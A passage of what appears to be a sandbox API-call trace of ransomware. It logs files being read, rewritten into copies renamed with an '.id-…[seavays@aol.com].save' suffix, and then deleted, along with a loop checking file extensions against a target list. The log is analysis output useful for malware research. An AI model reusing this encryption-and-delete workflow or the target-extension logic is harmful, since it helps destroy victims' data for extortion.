nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x1162, lpOverlapped=0x0) returned 1 [0055.068] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x1170, lpOverlapped=0x0) returned 1 [0055.069] ReadFile (in: hFile=0x34c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.069] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x108, lpOverlapped=0x0) returned 1 [0055.069] SetEndOfFile (hFile=0x368) returned 1 [0055.069] CloseHandle (hObject=0x368) returned 1 [0055.070] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.070] SetEndOfFile (hFile=0x34c) returned 1 [0055.071] CloseHandle (hObject=0x34c) returned 1 [0055.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0055.071] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1 [0055.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0055.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0055.072] lstrlenW (lpString=".doc") returned 4 [0055.072] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0055.072] lstrlenW (lpString=".docx") returned 5 [0055.072] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0055.072] lstrlenW (lpString=".pdf") returned 4 [0055.072] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0055.072] lstrlenW (lpString=".xls") returned 4 [0055.072] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0055.072] lstrlenW (lpString=".xlsx") returned 5 [0055.072] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0055.072] lstrlenW (lpString=".ppt") returned 4 [0055.072] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0055.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0055.072] lstrlenW (lpString=".zip") returned 4 [0055.072] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0055.072] lstrlenW (lpString=".rar") returned 4 [0055.072] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0055.072] lstrlenW (lpString=".bz2") returned 4 [0055.072] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0055.072] lstrlenW (lpString=".7z") returned 3 [0055.072] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0055.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0055.072] lstrlenW (lpString=".dbf") returned 4 [0055.072] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0055.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0055.073] lstrlenW (lpString=".1cd") returned 4 [0055.073] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0055.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0055.073] lstrlenW (lpString=".jpg") returned 4 [0055.073] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0055.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0055.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0055.073] lstrlenW (lpString=".doc") returned 4 [0055.073] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0055.073] lstrlenW (lpString=".docx") returned 5 [0055.073] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0055.073] lstrlenW (lpString=".pdf") returned 4 [0055.073] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0055.073] lstrlenW (lpString=".xls") returned 4 [0055.073] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0055.073] lstrlenW (lpString=".xlsx") returned 5 [0055.073] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0055.073] lstrlenW (lpString=".ppt") returned 4 [0055.073] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0055.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0055.073] lstrlenW (lpString=".zip") returned 4 [0055.073] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0055.073] lstrlenW (lpString=".rar") returned 4 [0055.073] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0055.073] lstrlenW (lpString=".bz2") returned 4 [0055.073] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0055.073] lstrlenW (lpString=".7z") returned 3 [0055.073] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0055.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0055.073] lstrlenW (lpString=".dbf") returned 4 [0055.074] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0055.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0055.074] lstrlenW (lpString=".1cd") returned 4 [0055.074] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0055.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0055.074] lstrlenW (lpString=".jpg") returned 4 [0055.074] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0055.074] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0055.074] lstrlenW (lpString="base_rtl.xml") returned 12 [0055.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.231] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=617) returned 1 [0056.231] CloseHandle (hObject=0x368) returned 1 [0056.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0056.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0056.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0056.231] lstrlenW (lpString=".doc") returned 4 [0056.231] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.231] lstrlenW (lpString=".docx") returned 5 [0056.231] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0056.231] lstrlenW (lpString=".pdf") returned 4 [0056.231] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.231] lstrlenW (lpString=".xls") returned 4 [0056.231] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.231] lstrlenW (lpString=".xlsx") returned 5 [0056.277] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0056.277] lstrlenW (lpString=".ppt") returned 4 [0056.277] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0056.277] lstrlenW (lpString=".zip") returned 4 [0056.277] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.277] lstrlenW (lpString=".rar") returned 4 [0056.277] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.277] lstrlenW (lpString=".bz2") returned 4 [0056.277] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.277] lstrlenW (lpString=".7z") returned 3 [0056.277] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0056.277] lstrlenW (lpString=".dbf") returned 4 [0056.277] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0056.277] lstrlenW (lpString=".1cd") returned 4 [0056.277] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0056.277] lstrlenW (lpString=".jpg") returned 4 [0056.277] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0056.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0056.277] lstrlenW (lpString=".doc") returned 4 [0056.277] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.277] lstrlenW (lpString=".docx") returned 5 [0056.278] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0056.278] lstrlenW (lpString=".pdf") returned 4 [0056.278] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.278] lstrlenW (lpString=".xls") returned 4 [0056.278] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.278] lstrlenW (lpString=".xlsx") returned 5 [0056.278] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0056.278] lstrlenW (lpString=".ppt") returned 4 [0056.278] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0056.278] lstrlenW (lpString=".zip") returned 4 [0056.278] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.278] lstrlenW (lpString=".rar") returned 4 [0056.278] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.278] lstrlenW (lpString=".bz2") returned 4 [0056.278] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.278] lstrlenW (lpString=".7z") returned 3 [0056.278] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0056.278] lstrlenW (lpString=".dbf") returned 4 [0056.278] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0056.278] lstrlenW (lpString=".1cd") returned 4 [0056.278] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0056.278] lstrlenW (lpString=".jpg") returned 4 [0056.278] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.278] lstrcmpiW (lpString1=".gif", lpString2=".save") returned -1 [0056.278] lstrlenW (lpString="win32_CopyNoDrop32x32.gif") returned 25 [0056.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.279] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=153) returned 1 [0056.279] CloseHandle (hObject=0x314) returned 1 [0056.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20 [0056.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.280] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.280] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.280] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0056.280] GetLastError () returned 0x0 [0056.280] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x99, lpOverlapped=0x0) returned 1 [0056.281] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xa0, lpOverlapped=0x0) returned 1 [0056.282] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.282] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x106, lpOverlapped=0x0) returned 1 [0056.282] SetEndOfFile (hFile=0x2f0) returned 1 [0056.282] CloseHandle (hObject=0x2f0) returned 1 [0056.283] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.283] SetEndOfFile (hFile=0x314) returned 1 [0056.284] CloseHandle (hObject=0x314) returned 1 [0056.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.284] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1 [0056.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0056.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0056.284] lstrlenW (lpString=".doc") returned 4 [0056.284] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.285] lstrlenW (lpString=".docx") returned 5 [0056.285] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0056.285] lstrlenW (lpString=".pdf") returned 4 [0056.285] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.285] lstrlenW (lpString=".xls") returned 4 [0056.285] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.285] lstrlenW (lpString=".xlsx") returned 5 [0056.285] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0056.285] lstrlenW (lpString=".ppt") returned 4 [0056.285] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0056.285] lstrlenW (lpString=".zip") returned 4 [0056.285] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.285] lstrlenW (lpString=".rar") returned 4 [0056.285] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.285] lstrlenW (lpString=".bz2") returned 4 [0056.285] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.285] lstrlenW (lpString=".7z") returned 3 [0056.285] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0056.285] lstrlenW (lpString=".dbf") returned 4 [0056.285] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0056.285] lstrlenW (lpString=".1cd") returned 4 [0056.285] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0056.285] lstrlenW (lpString=".jpg") returned 4 [0056.285] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0056.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0056.286] lstrlenW (lpString=".doc") returned 4 [0056.286] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.286] lstrlenW (lpString=".docx") returned 5 [0056.286] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0056.286] lstrlenW (lpString=".pdf") returned 4 [0056.286] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.286] lstrlenW (lpString=".xls") returned 4 [0056.286] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.286] lstrlenW (lpString=".xlsx") returned 5 [0056.286] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0056.286] lstrlenW (lpString=".ppt") returned 4 [0056.286] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.286] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0056.286] lstrlenW (lpString=".zip") returned 4 [0056.286] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.286] lstrlenW (lpString=".rar") returned 4 [0056.286] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.286] lstrlenW (lpString=".bz2") returned 4 [0056.286] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.286] lstrlenW (lpString=".7z") returned 3 [0056.286] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.286] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0056.286] lstrlenW (lpString=".dbf") returned 4 [0056.286] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.286] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0056.286] lstrlenW (lpString=".1cd") returned 4 [0056.286] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.286] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0056.286] lstrlenW (lpString=".jpg") returned 4 [0056.286] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.287] lstrcmpiW (lpString1=".gif", lpString2=".save") returned -1 [0056.287] lstrlenW (lpString="win32_LinkDrop32x32.gif") returned 23 [0056.287] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.287] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=168) returned 1 [0056.287] CloseHandle (hObject=0x314) returned 1 [0056.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20 [0056.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.287] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.288] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.288] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.288] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0056.288] GetLastError () returned 0x0 [0056.288] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xa8, lpOverlapped=0x0) returned 1 [0056.289] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xb0, lpOverlapped=0x0) returned 1 [0056.290] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.290] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x102, lpOverlapped=0x0) returned 1 [0056.290] SetEndOfFile (hFile=0x2f0) returned 1 [0056.290] CloseHandle (hObject=0x2f0) returned 1 [0056.291] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.291] SetEndOfFile (hFile=0x314) returned 1 [0056.291] CloseHandle (hObject=0x314) returned 1 [0056.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.292] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1 [0056.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0056.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0056.292] lstrlenW (lpString=".doc") returned 4 [0056.292] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.292] lstrlenW (lpString=".docx") returned 5 [0056.292] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0056.292] lstrlenW (lpString=".pdf") returned 4 [0056.292] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.292] lstrlenW (lpString=".xls") returned 4 [0056.292] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.292] lstrlenW (lpString=".xlsx") returned 5 [0056.292] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0056.292] lstrlenW (lpString=".ppt") returned 4 [0056.292] 